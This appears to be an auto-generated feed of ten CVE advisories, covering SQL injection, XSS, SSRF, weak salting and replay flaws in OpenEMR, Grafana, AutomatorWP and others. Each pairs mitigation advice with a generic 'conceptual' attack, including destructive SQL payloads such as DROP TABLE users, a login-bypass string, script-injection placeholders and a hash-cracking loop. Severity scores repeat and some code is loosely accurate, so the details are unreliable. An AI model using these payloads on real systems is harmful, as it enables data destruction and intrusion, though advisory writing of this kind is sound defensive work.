Author: Ameeba

  • CVE-2025-32794: Stored Cross-Site Scripting Vulnerability in OpenEMR

    Overview

    The report discusses a stored cross-site scripting (XSS) vulnerability in OpenEMR, an open-source electronic health records and medical practice management application. The vulnerability, identified as CVE-2025-32794, affects versions prior to 7.0.3.4 and has a high impact due to its potential to compromise systems or leak sensitive data.

    Vulnerability Summary

    CVE ID: CVE-2025-32794
    Severity: High (CVSS: 7.6)
    Attack Vector: Stored Cross-Site Scripting (XSS)
    Privileges Required: Low (Authenticated user with patient creation privileges)
    User Interaction: Required (Viewing the patient’s encounter under Orders → Procedure Orders)
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    OpenEMR | Versions prior to 7.0.3.4

    How the Exploit Works

    The exploit involves an authenticated user with patient creation privileges injecting arbitrary JavaScript code into the First and Last Name fields during patient registration. The stored XSS vulnerability is exploited when this malicious payload is executed as someone views the patient’s encounter under Orders → Procedure Orders.

    Conceptual Example Code

    The following is a conceptual example of how an attacker might attempt to exploit this vulnerability:

    POST /patient/registration HTTP/1.1
    Host: vulnerablehospital.example.com
    Content-Type: application/json
    {
    "first_name": "<script>/*malicious JavaScript code*/</script>",
    "last_name": "<script>/*malicious JavaScript code*/</script>"
    }

    Mitigation

    Users are strongly advised to apply the vendor patch, which is included in version 7.0.3.4 of OpenEMR. In the interim, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation.

  • CVE-2024-13957: Server-Side Request Forgery Vulnerability in ASPECT, NEXUS, and MATRIX Series

    Overview

    This report presents an in-depth analysis of the CVE-2024-13957 vulnerability, a Server-Side Request Forgery (SSRF) flaw affecting ASPECT, NEXUS, and MATRIX series products. The vulnerability is significant because it can potentially lead to system compromise or data leakage if administrator credentials are compromised.

    Vulnerability Summary

    CVE ID: CVE-2024-13957
    Severity: High (CVSS: 7.6)
    Attack Vector: Network
    Privileges Required: Administrator
    User Interaction: None
    Impact: System compromise and potential data leakage

    Affected Products

    Product | Affected Versions

    ASPECT-Enterprise | through 3.*
    NEXUS Series | through 3.*
    MATRIX Series | through 3.*

    How the Exploit Works

    The CVE-2024-13957 vulnerability arises from a lack of proper input validation in the server-side application. If an attacker can compromise administrator credentials, they can manipulate server-side requests to trigger unintended actions. This could potentially allow the attacker to access internal resources, manipulate data, or execute commands on the server.

    Conceptual Example Code

    The vulnerability might be exploited using a malicious HTTP request similar to the example below:

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Authorization: Basic dXNlcjpwYXNzd29yZA==
    Content-Type: application/json
    { "url": "http://internal-resource.example.com" }

    In this example, the attacker has used compromised administrator credentials (encoded in the `Authorization` header) to send a POST request, tricking the server into fetching or interacting with an internal resource. The exact nature of the payload and the potential impact would depend on the specific internal resources accessible and the level of control the server-side application has over those resources.

    Mitigation and Remediation

    Affected users should apply the vendor-provided patch as soon as possible. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to filter out potentially malicious requests and provide temporary mitigation. Additionally, users are advised to follow best practices for managing administrator credentials to avoid compromise.

  • CVE-2024-13951: Predictable Salt Vulnerability in ASPECT’s One-Way Hash

    Overview

    The cybersecurity landscape is facing a new vulnerability, CVE-2024-13951, which is predominantly affecting several versions of ASPECT, NEXUS, and MATRIX series. This vulnerability stems from one-way hash functions with predictable salt in ASPECT, which can allow potential attackers to expose sensitive information. Given the widespread use of these software, the implications could be far-reaching, affecting numerous enterprises that rely on these applications for their daily operations.

    Vulnerability Summary

    CVE ID: CVE-2024-13951
    Severity: High (7.6 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    ASPECT-Enterprise | Through 3.*
    NEXUS Series | Through 3.*
    MATRIX Series | Through 3.*

    How the Exploit Works

    The vulnerability arises due to the use of predictable salt in the one-way hash function of ASPECT software. An attacker can guess the salt used for hashing and reverse engineer the hash to its original form. This could lead to the exposure of sensitive information such as user credentials, leaving systems open to unauthorized access and potential compromise.

    Conceptual Example Code

    While the actual exploit code may vary depending on the attacker’s specific approach, the following pseudocode demonstrates a conceptual example of how the vulnerability might be exploited:

    import hashlib
    # Guess the salt
    predicted_salt = "1234"
    # Hashed password from the compromised system
    hashed_password = "5f4dcc3b5aa765d61d8327deb882cf99"
    # Possible passwords list
    passwords = ["password", "123456", "admin"]
    for password in passwords:
    # Create a new hash using the guessed salt and each possible password
    new_hash = hashlib.md5((password + predicted_salt).encode()).hexdigest()
    # Check if the new hash matches the compromised hash
    if new_hash == hashed_password:
    print(f"Found password: {password}")
    break

    In this example, the attacker is guessing the salt and using it with a list of common passwords to generate hashes. If any of these new hashes matches the compromised hash, the attacker has successfully cracked the password.

  • CVE-2025-4123: Cross-Site Scripting Vulnerability in Grafana

    Overview

    A significant cybersecurity vulnerability, CVE-2025-4123, has been identified in Grafana, a popular open-source analytics and monitoring solution. The vulnerability is a Cross-Site Scripting (XSS) issue caused by a combination of client path traversal and open redirect. This issue is of grave concern as it potentially allows malicious parties to compromise systems or leak sensitive data.

    Vulnerability Summary

    CVE ID: CVE-2025-4123
    Severity: High (7.6 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: Required
    Impact: Potential system compromise and data leakage

    Affected Products

    Product | Affected Versions

    Grafana | All versions prior to the patched version

    How the Exploit Works

    The exploit leverages a Cross-Site Scripting (XSS) vulnerability in Grafana that arises from a combination of a client path traversal and open redirect. This flaw allows attackers to redirect users to a malicious website hosting a frontend plugin that will execute arbitrary JavaScript. The vulnerability does not require editor permissions, and can function even with anonymous access enabled. If the Grafana Image Renderer plugin is installed, it is possible to exploit the open redirect to achieve a full read Server Side Request Forgery (SSRF).

    Conceptual Example Code

    This is a conceptual example of how the vulnerability might be exploited using a malicious HTTP request:

    GET /redirect?to=http://malicious.example.com/frontend-plugin HTTP/1.1
    Host: vulnerable-grafana.example.com

    Mitigation Guidance

    To mitigate this vulnerability, Grafana users are advised to apply the vendor’s patch as soon as it is available. Until then, users can employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation. Also, disabling anonymous access and the Grafana Image Renderer plugin can reduce the impact of the vulnerability.

  • CVE-2025-43833: SQL Injection Vulnerability in Amir Helzer Absolute Links

    Overview

    CVE-2025-43833 is a critical vulnerability that exploits improper neutralization of special elements in SQL commands, colloquially known as an SQL injection vulnerability. The affected product is Amir Helzer’s Absolute Links, versions up to and including 1.1.1. This vulnerability poses a severe threat, as it could potentially compromise the system or lead to data leakage, putting sensitive data at risk.

    Vulnerability Summary

    CVE ID: CVE-2025-43833
    Severity: High (CVSS 7.6)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise or data leakage

    Affected Products

    Product | Affected Versions

    Amir Helzer Absolute Links | n/a through 1.1.1

    How the Exploit Works

    The exploit operates by injecting malicious SQL queries into the application due to the lack of proper input sanitization. This allows an attacker to manipulate SQL queries, potentially revealing sensitive data, modifying the database, or even executing commands on the host operating system.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited. It involves sending a malicious payload, in this case, a crafted SQL statement, to a vulnerable endpoint of the application.

    POST /vulnerable/endpoint HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    input_field=1'; DROP TABLE users; --

    In this example, `1′; DROP TABLE users; –` is the malicious SQL payload. The `1′;` part ends the original SQL statement the application intended to run, then `DROP TABLE users;` is a new SQL statement which deletes the users table, and finally `–` comments out the rest of the original SQL statement, preventing syntax errors.

    Mitigation Guidance

    The most effective solution is to apply the vendor patch as soon as it becomes available. Until then, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used to detect and block attempted exploits of this vulnerability. Also, it’s recommended to sanitize all user inputs to avoid any SQL Injection attack.

  • CVE-2025-39370: SQL Injection Vulnerability in Cnilsson iCafe Library

    Overview

    The CVE-2025-39370 vulnerability is a serious security flaw affecting the Cnilsson iCafe Library software. This vulnerability, known as an SQL Injection, has wide-ranging implications for system security and data integrity. It could allow an attacker to manipulate SQL commands, potentially leading to system compromise or data leakage. Given the widespread use of SQL databases and the potential for significant impact, this vulnerability is a critical concern.

    Vulnerability Summary

    CVE ID: CVE-2025-39370
    Severity: High (CVSS: 7.6)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: System compromise, potential data leakage

    Affected Products

    Product | Affected Versions

    Cnilsson iCafe Library | Up to and including 1.8.3

    How the Exploit Works

    An attacker can exploit this vulnerability by sending malicious SQL commands to the application. Because the iCafe Library fails to properly neutralize special elements used in SQL commands, an attacker can craft SQL queries that manipulate the application’s database. This can lead to unauthorized access, modification or deletion of data, or even full system compromise.

    Conceptual Example Code

    The following is a conceptual example of how an attacker might exploit this vulnerability:

    POST /api/query HTTP/1.1
    Host: vulnerable.example.com
    Content-Type: application/json
    { "query": "SELECT * FROM users; DROP TABLE users;" }

    In this example, the attacker submits a normal SQL query (`SELECT * FROM users`) followed by a malicious command (`DROP TABLE users`). The iCafe Library processes both commands, potentially leading to catastrophic data loss.

    Countermeasures

    To mitigate this vulnerability, vendors should apply the latest patches as soon as they become available. As a temporary measure, you can use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to detect and block malicious SQL queries. However, these measures only offer limited protection and do not address the underlying vulnerability. For comprehensive protection, always keep your software up-to-date.

  • CVE-2025-26621: Denial of Service Vulnerability in OpenCTI via Webhook JavaScript Execution

    Overview

    This report details the CVE-2025-26621 vulnerability that affects OpenCTI, an open-source platform utilized for managing cyber threat intelligence knowledge and observables. The vulnerability is significant due to the potential it carries for system compromise or data leakage, leading to serious consequences for organizations that leverage OpenCTI.

    Vulnerability Summary

    CVE ID: CVE-2025-26621
    Severity: High (7.6 CVSS score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: Potential system compromise or data leakage, denial of service

    Affected Products

    Product | Affected Versions

    OpenCTI | Prior to 6.5.2

    How the Exploit Works

    The vulnerability arises from the ability of any user with manage customizations privileges to edit webhook that can execute JavaScript code. If this capability is exploited by a malicious actor, it can lead to prototype pollution that can cause a denial of service attack. This results in the node js server running the OpenCTI frontend becoming unavailable.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited. This example depicts a malicious payload within a HTTP request.

    POST /webhook/edit HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "webhook": "malicious_javascript_code" }

    The “malicious_javascript_code” would be designed to trigger prototype pollution, leading to a denial-of-service condition on the server.

    Mitigation

    The most recommended mitigation strategy involves applying the patch provided by the vendor, which is available in version 6.5.2 of OpenCTI. Alternatively, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can offer temporary mitigation. However, these should not replace the necessary action of upgrading to a patched version of OpenCTI to permanently resolve the vulnerability.

  • CVE-2025-48280: SQL Injection Vulnerability in Ruben Garcia AutomatorWP

    Overview

    CVE-2025-48280 is a critical vulnerability that affects Ruben Garcia AutomatorWP. It involves an SQL Injection flaw that enables potential attackers to compromise systems or leak sensitive data. This vulnerability is highly significant as it exposes sensitive data, potentially leading to unauthorized access or manipulation of data.

    Vulnerability Summary

    CVE ID: CVE-2025-48280
    Severity: High (7.6 CVSS Score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: Potential system compromise or data leakage

    Affected Products

    Product | Affected Versions

    Ruben Garcia AutomatorWP | n/a through 5.2.1.3

    How the Exploit Works

    The vulnerability exploits the improper neutralization of special elements used in an SQL command within Ruben Garcia AutomatorWP. This allows an attacker to perform a Blind SQL Injection attack. The attacker can manipulate SQL queries in the application’s database by inputting malicious SQL statements into user input fields.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited:

    POST /login HTTP/1.1
    Host: target.example.com
    Content-Type: application/x-www-form-urlencoded
    username=admin' OR '1'='1';--&password=irrelevant

    In this example, the attacker uses a classic SQL injection payload to trick the login system into returning a true statement, granting them access.

    Mitigation Guidance

    Users of affected versions are advised to apply the vendor patch as soon as possible to mitigate the risk. If the patch cannot be applied immediately, users should consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Regularly updating and patching software, as well as implementing secure coding practices, can help prevent this type of vulnerability.

  • CVE-2025-30072: Authentication Bypass Vulnerability in Tiiwee X1 Alarm System

    Overview

    The Tiiwee X1 Alarm System TWX1HAKV2 has been identified with a critical vulnerability, CVE-2025-30072, which allows for Authentication Bypass by Capture-replay. This potential security flaw could lead to unauthorized physical access to protected facilities without triggering an alarm, posing a significant risk to security and privacy.

    Vulnerability Summary

    CVE ID: CVE-2025-30072
    Severity: High (7.6 CVSS Score)
    Attack Vector: Network
    Privileges Required: None
    User Interaction: None
    Impact: Authentication bypass leading to unauthorized physical access to protected facilities

    Affected Products

    Product | Affected Versions

    Tiiwee X1 Alarm System | TWX1HAKV2

    How the Exploit Works

    The exploit takes advantage of the alarm system’s lack of proper authentication measures. An attacker can capture and replay the authentication sequence, tricking the system into believing it’s a legitimate user. This allows the attacker to bypass the alarm system’s security measures and gain physical access to the protected facility without triggering any alarms.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited. Note that this is a simplified example for understanding purposes and does not represent a real-world attack scenario.

    capture = sniff(iface='eth0', filter='tcp and host 192.168.1.1 and port 80', count=1)
    replay = send(capture)

    In this example, the ‘sniff’ function is used to capture the authentication sequence from the network interface ‘eth0’. The captured sequence is then replayed using the ‘send’ function, effectively bypassing the alarm system’s authentication measures.

  • CVE-2025-47567: SQL Injection Vulnerability in LambertGroup Video Player & FullScreen Video Background

    Overview

    The CVE-2025-47567 is a high-severity vulnerability that affects the LambertGroup Video Player & FullScreen Video Background up to version 2.4.1. This vulnerability arises due to improper neutralization of special elements used in an SQL command, leaving the software susceptible to SQL injection attacks. Such attacks may compromise the system and lead to potential data leakage.

    Vulnerability Summary

    CVE ID: CVE-2025-47567
    Severity: High (7.6 CVSS Score)
    Attack Vector: Network
    Privileges Required: Low
    User Interaction: None
    Impact: System Compromise and Potential Data Leakage

    Affected Products

    Product | Affected Versions

    LambertGroup Video Player | up to 2.4.1
    FullScreen Video Background | up to 2.4.1

    How the Exploit Works

    The vulnerability stems from improper sanitization of user-supplied data in SQL commands. When an attacker sends specially crafted SQL commands through user input fields, the application fails to adequately sanitize the input before adding it to the SQL query. This allows the attacker to manipulate the query, enabling them to retrieve, modify, or delete data or potentially gain unauthorized access to the system.

    Conceptual Example Code

    Below is a conceptual example of how the vulnerability might be exploited using an HTTP request:

    POST /videoPlayer/loadPlaylist HTTP/1.1
    Host: target.example.com
    Content-Type: application/json
    { "playlist_id": "1; DROP TABLE users;" }

    In the above example, the malicious payload `”1; DROP TABLE users;”` would cause the application to execute an SQL command that deletes the `users` table from the database, if successful.

    Mitigation and Recommendations

    Until a patch is provided by the vendor, it is recommended to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to mitigate the risk. These tools can help by detecting and blocking malicious SQL commands. Once the patch is available, users should update their LambertGroup Video Player & FullScreen Video Background to the latest version to fix this vulnerability.

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